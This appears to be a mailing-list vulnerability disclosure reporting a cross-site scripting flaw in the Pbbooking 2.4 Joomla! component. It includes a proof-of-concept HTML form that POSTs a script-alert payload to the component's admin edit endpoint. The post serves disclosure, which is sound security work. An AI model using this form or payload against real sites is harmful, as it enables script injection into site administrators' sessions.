Mailing List Archive

Hello,

Cross-site
scripting (XSS) vulnerability in the Pbbooking 2.4 component
for Joomla! allows remote attackers to inject arbitrary web script or HTML via POST request to manage.php.

POC:
<form action="http://site/joomla/administrator/index.php?option=com_pbbooking&controller=manage&task=edit"
method="post">
    <input
type="text" name="id" value="1" />
    <input
type="text" name="date" value="1" />
              <input type="text"
name="xss" value="<script>alert('XSS')</script>"
/>
  <input
type="submit" name="submit2" value="Submit" />
</form>

Best regards.